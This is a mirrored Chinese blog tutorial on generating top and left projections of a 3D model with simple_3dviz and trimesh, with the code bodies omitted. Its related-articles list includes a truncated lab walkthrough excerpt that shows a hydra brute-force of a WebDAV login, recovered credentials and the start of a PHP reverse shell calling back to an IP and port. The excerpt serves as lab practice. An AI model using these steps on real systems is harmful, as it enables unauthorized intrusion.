使用simple_3dviz进行三维模型投影

news2024/11/19 5:55:36

【版权声明】
本文为博主原创文章,未经博主允许严禁转载,我们会定期进行侵权检索。

更多算法总结请关注我的博客:https://blog.csdn.net/suiyingy,或”乐乐感知学堂“公众号。
本文章来自于专栏《Python三维模型处理基础》的系列文章,专栏地址为:https://blog.csdn.net/suiyingy/category_12462636.html。        

        上一篇博文《三维模型相机视角投影详细介绍及python程序解析》详细介绍了三维投影原理、相机位姿设置及其pyrender投影实现,地址为“https://blog.csdn.net/suiyingy/article/details/134043042”。本节介绍另一种基于simple_3dviz的实现方式。

        在计算机图形学中,三维模型投影是指将三维空间中的对象投影到二维平面上,以便于显示和分析。在本文中,我们将以俯视图和左视图为例,介绍如何使用simple_3dviz库进行三维模型投影。

        simple_3dviz是一个基于Python的简单三维可视化工具库,它提供了一些方便的函数和类,用于创建和显示三维场景,并对三维模型进行投影和渲染。我们将使用trimesh库加载三维模型,并将其转换为simple_3dviz的Mesh对象进行投影。

1 操作步骤

        (1)导入所需的库

        首先,我们需要导入一些必要的库,包括os、cv2、trimesh、numpy等。这些库将用于文件处理、图像处理和三维模型操作。我们需要安装所需的库,包括trimesh和simple_3dviz。可以使用pip命令进行安装:

pip install trimesh simple_3dviz opencv-python

        (2)trimesh转simple_3dviz

        在simple_3dviz中,模型文件需要具有材质色彩信息。然而,示例模型obj文件通常没有该信息。因此,我们需要使用trimesh库将模型文件读取为trimesh的mesh对象。为此,我们可以使用trimesh_to_simple_3dviz函数将顶点、网格和颜色信息提取并转换为simple_3dviz的Mesh对象。

        (3)俯视图

        在生成俯视图之前,我们需要确定窗口尺寸、图片背景、相机位置和观察目标位置等参数。然后,我们可以使用simple_3dviz的render函数生成俯视图,并将结果保存为图片文件。最后,我们可以使用cv2库读取图片文件并显示俯视图。

        (4)左视图

        生成左视图的步骤与俯视图类似,只需调整相机位置和观察目标位置等参数即可。通过简单地修改这些参数,我们可以轻松地生成不同角度的视图。

2 程序示例

        我们将给出使用simple_3dviz进行三维模型投影的完整代码示例。详细Python示例程序下载地址为“https://download.csdn.net/download/suiyingy/88489340”,或者在“乐乐感知学堂”內回复“3d处理基础”即可。程序文件夹为“06_mesh_project_simple_3dviz”。

# -*- coding: utf-8 -*-
'''
以俯视图和左视图为例,使用simple_3dviz进行三维模型投影
'''
import os
import cv2
import trimesh
import numpy as np
from simple_3dviz.window import show
from simple_3dviz import Scene, Mesh
from simple_3dviz.utils import render
from simple_3dviz.behaviours.io import SaveFrames
from simple_3dviz.renderables.textured_mesh import Material, TexturedMesh, read_mesh_file

# trimesh转simple_3dviz
# 由于simple_3dviz的模型文件需要有材质色彩信息,但示例模型obj没有该信息。
# 采用read_mesh_file读取没有材质信息的模型文件会报错。
# 因此这里先使用trimesh读取,然后转成simple_3dviz的mesh
def trimesh_to_simple_3dviz(mesh):
    # 省略函数实现细节...

# 俯视图
def show_top_view(mesh):
    # 省略函数实现细节...

# 左视图
def show_left_view(mesh):
    # 省略函数实现细节...

if __name__ == '__main__':
    # 加载三维模型
    mesh = trimesh.load('model.obj', force='mesh')
    # 俯视图
    show_top_view(mesh)
    # 左视图
    show_left_view(mesh)

3 投影效果

        示例模型的俯视图和左视图分别如下所示。由于程序采用trimesh读取模型并转换为simple_3dviz的mesh对象,并且材质颜色只使用了顶点颜色。因而,整体成像色彩与模型实际色彩有所差异。更好的成像效果请参考上一节pyrender实现《三维模型相机视角投影详细介绍及python程序解析》,地址为“https://blog.csdn.net/suiyingy/article/details/134043042”。simple_3dviz更适合于有材质信息的模型。

图1 示例模型俯视图

图2 示例模型左视图

4 总结

        在本文中,我们详细介绍了如何使用simple_3dviz库进行三维模型的俯视图和左视图投影。通过简单的步骤和代码示例,我们可以轻松地生成不同角度的三维模型投影,并将结果保存为图片文件。使用simple_3dviz库可以帮助我们更好地理解和展示三维模型,对于计算机图形学和计算机视觉等领域的研究和应用具有重要意义。

5 参考文献

        simple_3dviz库官方文档:https://simple-3dviz.readthedocs.io/en/latest/

        trimesh库官方文档:https://trimsh.org/

        注:本文中的代码示例基于Python编程语言,使用了一些第三方库。在运行代码之前,请确保已安装这些库,并且将模型文件(如'model.obj')放置在正确的路径下。

【版权声明】
本文为博主原创文章,未经博主允许严禁转载,我们会定期进行侵权检索。

更多算法总结请关注我的博客:https://blog.csdn.net/suiyingy,或”乐乐感知学堂“公众号。
本文章来自于专栏《Python三维模型处理基础》的系列文章,专栏地址为:https://blog.csdn.net/suiyingy/category_12462636.html。        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1155323.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux———— 运算命令

Shell与其他编程语言一样,支持多种类型的运算符,包括: 算术运算符:用于执行数学运算,例如加法、减法、乘法和除法。 关系运算符:用于比较两个值之间的关系,例如相等、大于、小于等。 布尔运算…

Vue路由(router)的安装和使用

Vue路由(router)的安装和使用 安装vue-router插件 第一步:在CMD窗口中,使用命令跳转到vue的安装路径下第二步:输入命令:npm i vue-router3 vue2 要安装 vue-router3 npm i vue-router3 vu3 要安装 vue-ro…

AI绘画|midjourney入门保姆教程,30秒出专业大片,国内直接使用

同学们,之前大家想用midjourney还需要魔法上网和很复杂的注册配置,现在微信里就能使用midjourney了, 还支持中文,大家赶紧来试试吧。 AI写稿专家 www.promptspower.comhttp://www.promptspower.com 我们还给大家提供了各个行业的…

【C++】多态 ⑧ ( 验证指向 虚函数表 的 vptr 指针 | 对比定义了虚函数的类和没有定义虚函数类的大小 )

文章目录 一、验证指向 虚函数表 的 vptr 指针 是否存在1、虚函数表与 vptr 指针由来2、虚函数类与普通函数类对比 - 多出了 vptr 指针的大小 对比 定义了 虚函数 的类 与 没有定义虚函数的类 的大小 , 其它成员都相同 , 定义了虚函数的类多出了 4 字节 , 多出的 4 字节就是 vp…

MES 的价值点之动态调度

随着数字化技术的发展,为制造企业的生产计划提供了更多的便利。但在实际生产管理过程中,企业的生产计划不管做的多么理想,还是可能会因诸多的扰动因素造成执行与计划差异,这时就需要通过一些动态调整方案去适应新的生产要求与环境…

OSPF复习(2)

目录 一、LSA的头部 二、6种类型的LSA(课堂演示) 1、type1-LSA:----重要且复杂 2、type2-LSA: 3、type3-LSA: 4、type4-LSA: 5、type5-LSA: 6、type7-LSA: 三、OSPF的网络类…

narak靶机攻略

narak靶机攻略 扫描 渗透 cewl http://10.4.7.158 > use1.txthydra -L use1.txt -P use1.txt http-get://10.4.7.158/webdav -V -t 50 -fyamdoot:Swargcadaver http://10.4.7.158/webdav<?php $ip10.4.7.158; $port12138; $sock fsockopen($ip, $port); $descriptors…

JVM虚拟机:如何调整堆空间的大小?

对内存的调优 如上所示,从物理角度来说呢,堆内存就是蓝色的区域,从逻辑角度来说,堆内存包含这个红色的部分,调优肯定是条物理的大小了,我们先来看一下物理内存的大小是多少? 如上所示,我们通过maxMemory获取到java虚拟机试图使用的最大内存量,默认为物理内存的1/4,比我…

Lec11 Thread switching (Robert)

线程的概念 线程就是单个串行执行代码的单元&#xff0c;它只占用一个CPU并且以普通的方式一个接一个的执行指令。 线程还具有状态&#xff0c;我们可以随时保存线程的状态并暂停线程的运行&#xff0c;并在之后通过恢复状态来恢复线程的运行。 程序计数器&#xff08;Progr…

精品基于Python的个性化电影推荐系统

《[含文档PPT源码等]精品基于Python的个性化电影推荐系统设计与实现》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功&#xff01; 软件开发环境及开发工具&#xff1a; 开发语言&#xff1a;python 使用框架&#xff1a;Django 前端技…

AutoX.js - openCV多分辨率找图

AutoX.js - openCV多分辨率找图 一、起因 AutoXjs 中有两个找图相关的方法 findImage 和 matchTemplate&#xff0c;之前一直没发现什么问题&#xff0c;但最近在一次测试找图时&#xff0c;明明大图和模板图的轮廓都清晰&#xff0c;却怎么也找不到图&#xff0c;降低阈值参…

【数据结构】顺序表实例探究

&#x1f497;个人主页&#x1f497; ⭐个人专栏——数据结构学习⭐ &#x1f4ab;点击关注&#x1f929;一起学习C语言&#x1f4af;&#x1f4ab; 目录 导读&#xff1a;1. 顺序表的基本内容1.1 概念及结构1.2 时间和空间复杂度1.3 基本操作1.4 顺序表的优缺点 2. 静态顺序表…

CVPR 2023 | 主干网络FasterNet 核心解读 代码分析

本文分享来自CVPR 2023的论文&#xff0c;提出了一种快速的主干网络&#xff0c;名为FasterNet。 论文提出了一种新的卷积算子&#xff0c;partial convolution&#xff0c;部分卷积(PConv)&#xff0c;通过减少冗余计算和内存访问来更有效地提取空间特征。 创新在于部分卷积…

xhadmin多应用SaaS框架怎么更新?

xhadmin是什么&#xff1f; xhadmin 是一套基于最新技术的研发的多应用 Saas 框架&#xff0c;支持在线升级和安装模块及模板&#xff0c;拥有良好的开发框架、成熟稳定的技术解决方案、提供丰富的扩展功能。为开发者赋能&#xff0c;助力企业发展、国家富强&#xff0c;致力于…

【设计模式】第13节:结构型模式之“享元模式”

一、简介 所谓“享元”&#xff0c;顾名思义就是被共享的单元。享元模式的意图是复用对象&#xff0c;节省内存&#xff0c;前提是享元对象是不可变对象。 实现&#xff1a;通过工厂模式&#xff0c;在工厂类中&#xff0c;通过一个Map或者List来缓存已经创建好的享元对象&am…

这样的软件测试报告模板你绝对没见过!!!

测试报告如此重要&#xff0c;那么我们应该如何撰写呢&#xff1f;为了让大家彻底掌握测试模板的撰写&#xff0c;所以本文结构如下&#xff1a; 1、测试报告写给谁看&#xff1f; 2、测试报告的基本骨架&#xff08;通过|不通过&#xff09;&#xff1f; 3、测试报告如何才能达…

超级搜索技术,普通人变强的唯一外挂

搜索效率&#xff1a;Google >微信公众号 >短视频 >百度 1、信息咨询搜索 在Google搜索栏前面加上 “” 限定关键词 intitle 限定标题 allintitle 限定标题多个关键词 intext 限定内容关键词 inurl 限定网址关键词 site 限定网址来源 imagesize 限定图片尺寸 filet…

[LeetCode]-27. 移除元素-26.删除有序数组中的重复项-88.合并两个有序数组

目录 27.移除元素 题目 思路 代码 26. 删除有序数组中的重复项 题目 思路 代码 88.合并两个有序数组 题目 思路 代码 总结 27.移除元素 27. 移除元素 - 力扣&#xff08;LeetCode&#xff09;https://leetcode.cn/problems/remove-element/description/ 题目 给你一…

【快报】正在把教学视频搬运到B站和油管

hello 大家好&#xff0c;我是老戴。 熟悉我的同学知道&#xff0c;我从14年开始录制GIS相关的教学视频&#xff0c;之前是放到优酷上给大家下载&#xff0c;后期发现很多人把视频弄下来淘宝上卖&#xff0c;然后我就把视频整体放到了我自己的网站上。 随着视频录制的数量越来…

C++归并排序算法的应用:计算右侧小于当前元素的个数

题目 给你一个整数数组 nums &#xff0c;按要求返回一个新数组 counts 。数组 counts 有该性质&#xff1a; counts[i] 的值是 nums[i] 右侧小于 nums[i] 的元素的数量。 示例 1&#xff1a; 输入&#xff1a;nums [5,2,6,1] 输出&#xff1a;[2,1,1,0] 解释&#xff1a; 5 …